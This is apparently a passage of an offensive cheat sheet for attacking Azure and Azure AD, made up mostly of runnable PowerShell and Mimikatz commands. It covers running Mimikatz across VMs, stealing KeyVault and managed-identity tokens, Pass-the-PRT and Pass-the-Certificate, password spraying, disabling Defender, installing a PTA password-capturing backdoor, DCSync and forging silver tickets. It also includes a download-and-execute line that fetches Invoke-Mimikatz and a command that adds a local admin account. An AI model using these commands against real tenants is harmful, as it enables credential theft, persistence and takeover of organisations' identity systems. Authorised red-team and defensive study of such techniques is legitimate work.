Allow anyone with "Contributor" rights to run PowerShell scripts on any Azure VM in a subscription as NT Authority\System ```powershell # List available VMs PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name ResourceGroupName Name ----------------- ---- TESTRESOURCES Remote-Test # Execute Powershell script on the VM PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1 ``` Against the whole subscription using MicroBurst.ps1 ```powershell Import-module MicroBurst.psm1 Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt ``` ## KeyVault Secrets ```powershell # keyvault access token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:$IDENTITY_HEADER # connect PS> $token = 'eyJ0..' PS> $keyvaulttoken = 'eyJ0..' PS Az> Connect-AzAccount -AccessToken $token -AccountId 2e91a4fea0f2-46ee-8214-fa2ff6aa9abc -KeyVaultAccessToken $keyvaulttoken # query the vault and the secrets PS Az> Get-AzKeyVault PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault PS Az> Get-AzKeyVaultSecret -VaultName ResearchKeyVault -Name Reader -AsPlainText ``` ## Pass The PRT > MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on). ```powershell # Run mimikatz to obtain the PRT PS> iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") PS> Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' # Copy the PRT and KeyValue Mimikatz> privilege::debug Mimikatz> token::elevate Mimikatz> dpapi::cloudapkd /keyvalue: /unprotect # Copy the Context, ClearKey and DerivedKey Mimikatz> dpapi::cloudapkd /context: /derivedkey: /Prt: ``` ```powershell # Generate a JWT PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 PS AADInternals> $PRT_OF_USER = '...' PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="} PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER)) PS AADInternals> $ClearKey = "XXYYZZ..." PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne '')) PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce eyJ0eXAiOiJKV1QiL... ``` The `` (JSON Web Token) can be used as PRT cookie in a (anonymous) browser session for https://login.microsoftonline.com/login.srf. Edit the Chrome cookie (F12) -> Application -> Cookies with the values: ```powershell Name: x-ms-RefreshTokenCredential Value: HttpOnly: √ ``` :warning: Mark the cookie with the flags `HTTPOnly` and `Secure`. ## Pass The Certificate ```ps1 Copy-Item -ToSession $jumpvm -Path C:\Tools\PrtToCertmaster.zip -Destination C:\Users\Username\Documents\username –Verbose Expand-Archive -Path C:\Users\Username\Documents\username\PrtToCert-master.zip -DestinationPath C:\Users\Username\Documents\username\PrtToCert # Require the PRT, TenantID, Context and DerivedKey & 'C:\Program Files\Python39\python.exe' C:\Users\Username\Documents\username\PrtToCert\RequestCert.py --tenantId --prt --userName @.onmicrosoft.com --hexCtx --hexDerivedKey # PFX saved with the name @.onmicrosoft.com.pfx and password AzureADCert ``` Python tool that will authenticate to the remote machine, run PSEXEC and open a CMD on the victim machine https://github.com/morRubin/AzureADJoinedMachinePTC ```ps1 Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP Main.py --usercert "admin.pfx" --certpass password --remoteip 10.10.10.10 python Main.py --usercert C:\Users\Username\Documents\username\@.onmicrosoft.com.pfx -- certpass AzureADCert --remoteip 10.10.10.10 --command "cmd.exe /c net user username Password@123 /add /Y && net localgroup administrators username /add" ``` ## Intunes Administration Requirements: * **Global Administrator** or **Intune Administrator** Privilege : `Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"` 1. Login into https://endpoint.microsoft.com/#home or use Pass-The-PRT 2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune 3. Go to **Scripts** and click on **Add** for Windows 10. 4. Add a **Powershell script** 5. Specify **Add all users** and **Add all devices** in the **Assignments** page. :warning: It will take up to one hour before you script is executed ! ## Dynamic Group Membership Get groups that allow Dynamic membership: `Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}` Rule example : `(user.otherMails -any (_ -contains "vendor")) -and (user.userType -eq "guest")` Rule description: Any Guest user whose secondary email contains the string 'vendor' will be added to the group 1. Open user's profile, click on **Manage** 2. Click on **Resend** invite and to get an invitation URL 3. Set the secondary email ```powershell PS> Set-AzureADUser -ObjectId -OtherMails @.onmicrosoft.com -Verbose ``` ## Administrative Unit > Administrative Unit can reset password of another user ```powershell PS AzureAD> Get-AzureADMSAdministrativeUnit -Id PS AzureAD> Get-AzureADMSAdministrativeUnitMember -Id PS AzureAD> Get-AzureADMSScopedRoleMembership -Id | fl PS AzureAD> Get-AzureADDirectoryRole -ObjectId PS AzureAD> Get-AzureADUser -ObjectId | fl PS C:\Tools> $password = "Password" | ConvertToSecureString -AsPlainText -Force PS C:\Tools> (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "@.onmicrosoft.com"}).ObjectId | SetAzureADUserPassword -Password $Password -Verbose ``` ## Deployment Template ```powershell PS Az> Get-AzResourceGroup PS Az> Get-AzResourceGroupDeployment -ResourceGroupName SAP # Export PS Az> Save-AzResourceGroupDeploymentTemplate -ResourceGroupName -DeploymentName cat .json # search for hardcoded password cat | Select-String password ``` ## Application Proxy ```powershell # Enumerate application that have Proxy PS C:\Tools> Get-AzureADApplication -All $true | %{try{GetAzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}} PS C:\Tools> Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Finance Management System"} PS C:\Tools> . C:\Tools\GetApplicationProxyAssignedUsersAndGroups.ps1 PS C:\Tools> Get-ApplicationProxyAssignedUsersAndGroups -ObjectId ``` ## Application Endpoint ```powershell # Enumerate possible endpoints for applications starting/ending with PREFIX PS C:\Tools> Get-AzureADServicePrincipal -All $true -Filter "startswith(displayName,'PREFIX')" | % {$_.ReplyUrls} PS C:\Tools> Get-AzureADApplication -All $true -Filter "endswith(displayName,'PREFIX')" | Select-Object ReplyUrls,WwwHomePage,HomePage ``` ## Conditional Access * Bypassing conditional access by copying User-Agent (Chrome Dev Tool > Select iPad Pro, etc) * Bypassing conditional access by faking device compliance ```powershell # AAD Internals - Making your device compliant # Get an access token for AAD join and save to cache Get-AADIntAccessTokenForAADJoin -SaveToCache # Join the device to Azure AD Join-AADIntDeviceToAzureAD -DeviceName "SixByFour" -DeviceType "Commodore" -OSVersion "C64" # Marking device compliant - option 1: Registering device to Intune # Get an access token for Intune MDM and save to cache (prompts for credentials) Get-AADIntAccessTokenForIntuneMDM -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache # Join the device to Intune Join-AADIntDeviceToIntune -DeviceName "SixByFour" # Start the call back Start-AADIntDeviceIntuneCallback -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx -DeviceName "SixByFour" ``` ## Azure AD With Microsoft, if you are using any cloud services (Office 365, Exchange Online, etc) with Active Directory (on-prem or in Azure) then an attacker is one credential away from being able to leak your entire Active Directory structure thanks to Azure AD. 1. Authenticate to your webmail portal (i.e. https://webmail.domain.com/) 2. Change your browser URL to: https://azure.microsoft.com/ 3. Pick the account from the active sessions 4. Select Azure Active Directory and enjoy! ### Azure AD vs Active Directory | Active Directory | Azure AD | |---|---| | LDAP | REST API'S | | NTLM/Kerberos | OAuth/SAML/OpenID | | Structured directory (OU tree) | Flat structure | | GPO | No GPO's | | Super fine-tuned access controls | Predefined roles | | Domain/forest | Tenant | | Trusts | Guests | * Password Hash Syncronization (PHS) * Passwords from on-premise AD are sent to the cloud * Use replication via a service account created by AD Connect * Pass Through Authentication (PTA) * Possible to perform DLL injection into the PTA agent and intercept authentication requests: credentials in clear-text * Connect Windows Server AD to Azure AD using Federation Server (ADFS) * Dir-Sync : Handled by on-premise Windows Server AD, sync username/password * Azure AD Joined : https://pbs.twimg.com/media/EQZv62NWAAEQ8wE?format=jpg&name=large * Workplace Joined : https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large * Hybrid Joined : https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large * Workplace joined on AADJ or Hybrid : https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large ### Password Spray > Default lockout policy of 10 failed attempts, locking out an account for 60 seconds ```powershell git clone https://github.com/dafthack/MSOLSpray Import-Module .\MSOLSpray.ps1 Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 Invoke-MSOLSpray -UserList .\users.txt -Password d0ntSprayme! # UserList - UserList file filled with usernames one-per-line in the format "user@domain.com" # Password - A single password that will be used to perform the password spray. # OutFile - A file to output valid results to. # Force - Forces the spray to continue and not stop when multiple account lockouts are detected. # URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. ``` ### Convert GUID to SID The user's AAD id is translated to SID by concatenating `"S-1–12–1-"` to the decimal representation of each section of the AAD Id. ```powershell GUID: [base16(a1)]-[base16(a2)]-[ base16(a3)]-[base16(a4)] SID: S-1–12–1-[base10(a1)]-[ base10(a2)]-[ base10(a3)]-[ base10(a4)] ``` For example, the representation of `6aa89ecb-1f8f-4d92–810d-b0dce30b6c82` is `S-1–12–1–1789435595–1301421967–3702525313–2188119011` ## Azure AD Connect Check if Azure AD Connect is installed : `Get-ADSyncConnector` * For **PHS**, we can extract the credentials * For **PTA**, we can install the agent * For **Federation**, we can extract the certificate from ADFS server using DA ```powershell PS > Set-MpPreference -DisableRealtimeMonitoring $true PS > Copy-Item -ToSession $adcnct -Path C:\Tools\AADInternals.0.4.5.zip -Destination C:\Users\Administrator\Documents PS > Expand-Archive C:\Users\Administrator\Documents\AADInternals.0.4.5.zip -DestinationPath C:\Users\Administrator\Documents\AADInternals PS > Import-Module C:\Users\Administrator\Documents\AADInternals\AADInternals.psd1 PS > Get-AADIntSyncCredentials # Get Token for SYNC account and reset on-prem admin password PS > $passwd = ConvertToSecureString 'password' -AsPlainText -Force PS > $creds = New-Object System.Management.Automation.PSCredential ("@.onmicrosoft.com", $passwd) PS > GetAADIntAccessTokenForAADGraph -Credentials $creds –SaveToCache PS > Get-AADIntUser -UserPrincipalName onpremadmin@defcorpsecure.onmicrosoft.com | select ImmutableId PS > Set-AADIntUserPassword -SourceAnchor "" -Password "Password" -Verbose ``` 1. Check if PTA is installed : `Get-Command -Module PassthroughAuthPSModule` 2. Install a PTA Backdoor ```powershell PS AADInternals> Install-AADIntPTASpy PS AADInternals> Get-AADIntPTASpyLog -DecodePasswords ``` ### Azure AD Connect - Password extraction Credentials in AD Sync : C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf Tool | Requires code execution on target | DLL dependencies | Requires MSSQL locally | Requires python locally --- | --- | --- | --- | --- ADSyncDecrypt | Yes | Yes | No | No ADSyncGather | Yes | No | No | Yes ADSyncQuery | No (network RPC calls only) | No | Yes | Yes ```powershell git clone https://github.com/fox-it/adconnectdump # DCSync with AD Sync account ``` ### Azure AD Connect - MSOL Account's password and DCSync You can perform **DCSync** attack using the MSOL account. Requirements: * Compromise a server with Azure AD Connect service * Access to ADSyncAdmins or local Administrators groups Use the script **azuread_decrypt_msol.ps1** from @xpn to recover the decrypted password for the MSOL account: * `azuread_decrypt_msol.ps1`: AD Connect Sync Credential Extract POC https://gist.github.com/xpn/0dc393e944d8733e3c63023968583545 * `azuread_decrypt_msol_v2.ps1`: Updated method of dumping the MSOL service account (which allows a DCSync) used by Azure AD Connect Sync https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c Now you can use the retrieved credentials for the MSOL Account to launch a DCSync attack. ### Azure AD Connect - Seamless Single Sign On Silver Ticket > Anyone who can edit properties of the AZUREADSSOACCS$ account can impersonate any user in Azure AD using Kerberos (if no MFA) > Seamless SSO is supported by both PHS and PTA. If seamless SSO is enabled, a computer account **AZUREADSSOC** is created in the on-prem AD. :warning: The password of the AZUREADSSOACC account never changes. Using [https://autologon.microsoftazuread-sso.com/](https://autologon.microsoftazuread-sso.com/) to convert Kerberos tickets to SAML and JWT for Office 365 & Azure 1. NTLM password hash of the AZUREADSSOACC account, e.g. `f9969e088b2c13d93833d0ce436c76dd`. ```powershell mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit ``` 2. AAD logon name of the user we want to impersonate, e.g. `elrond@contoso.com`. This is typically either his userPrincipalName or mail attribute from the on-prem AD. 3. SID of the user we want to impersonate, e.g. `S-1-5-21-2121516926-2695913149-3163778339-1234`. 4. Create the Silver Ticket and inject it into Kerberos cache: ```powershell mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd /target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit ``` 5. Launch Mozilla Firefox 6. Go to about:config and set the `network.negotiate-auth.trusted-uris preference` to value `https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com` 7. Navigate to any web application that is integrated with our AAD domain. Fill in the user name, while leaving the password field empty. ## References * [Introduction To 365-Stealer - Understanding and Executing the Illicit Consent Grant Attack](https://www.alteredsecurity.com/post/introduction-to-365-stealer) * [Learn with @trouble1_raunak: Cloud Pentesting - Azure (Illicit Consent Grant Attack) !!](https://www.youtube.com/watch?v=51FSvndgddk&list=WL) * [Pass-the-PRT attack and detection by Microsoft Defender for … - Derk van der Woude - Jun 9](https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94) * [Azure AD Pass The Certificate - Mor - Aug 19, 2020](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597) * [Get Access Tokens for Managed Service Identity on Azure App Service](https://zhiliaxu.github.io/app-service-managed-identity.html) * [Bypassing conditional access by faking device compliance - September 06, 2020 - @DrAzureAD](https://o365blog.com/post/mdm/) * [CARTP-cheatsheet - Azure AD cheatsheet for the CARTP course](https://github.com/0xJs/CARTP-cheatsheet/blob/main/Authenticated-enumeration.md) * [Get-AzurePasswords: A Tool for Dumping Credentials from Azure Subscriptions - August 28, 2018 - Karl Fosaaen](https://www.netspi.com/blog/technical/cloud-penetration-testing/get-azurepasswords/) * [An introduction to penetration testing Azure - Akimbocore](https://akimbocore.com/article/introduction-to-pentesting-azure/) * [Running Powershell scripts on Azure VM - Netspi](https://blog.netspi.com/running-powershell-scripts-on-azure-vms/) * [Attacking Azure Cloud shell - Netspi](https://blog.netspi.com/attacking-azure-cloud-shell/) * [Maintaining Azure Persistence via automation accounts - Netspi](https://blog.netspi.com/maintaining-azure-persistence-via-automation-accounts/) * [Detecting an attacks on active directory with Azure - Smartspate](https://www.smartspate.com/detecting-an-attacks-on-active-directory-with-azure/) * [Azure AD Overview](https://www.youtube.com/watch?v=l_pnNpdxj20) * [Windows Azure Active Directory in plain English](https://www.youtube.com/watch?v=IcSATObaQZE) * [Building Free Active Directory Lab in Azure - @kamran.bilgrami](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f) * [Attacking Azure/Azure AD and introducing Powerzure - SpecterOps](https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-powerzure-ca70b330511a) * [Azure AD connect for RedTeam - @xpnsec](https://blog.xpnsec.com/azuread-connect-for-redteam/) * [Azure Privilege Escalation Using Managed Identities - Karl Fosaaen - February 20th, 2020](https://blog.netspi.com/azure-privilege-escalation-using-managed-identities/) * [Hunting Azure Admins for Vertical Escalation - LEE KAGAN - MARCH 13, 2020](https://www.lares.com/hunting-azure-admins-for-vertical-escalation/) * [Introducing ROADtools - The Azure AD exploration framework - Dirk-jan Mollema](https://dirkjanm.io/introducing-roadtools-and-roadrecon-azure-ad-exploration-framework/) * [Moving laterally between Azure AD joined machines - Tal Maor - Mar 17, 2020](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56) * [AZURE AD INTRODUCTION FOR RED TEAMERS - Written by Aymeric Palhière (bak) - 2020-04-20](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html) * [Impersonating Office 365 Users With Mimikatz - January 15, 2017 - Michael Grafnetter](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) * [The Art of the Device Code Phish - Bobby Cooke](https://0xboku.com/2021/07/12/ArtOfDeviceCodePhish.html) * [AZURE AD cheatsheet - BlackWasp](https://hideandsec.sh/books/cheatsheets-82c/page/azure-ad) * [Azure AD Kerberos Tickets: Pivoting to the Cloud - Edwin David - February 09, 2023](https://trustedsec.com/blog/azure-ad-kerberos-tickets-pivoting-to-the-cloud)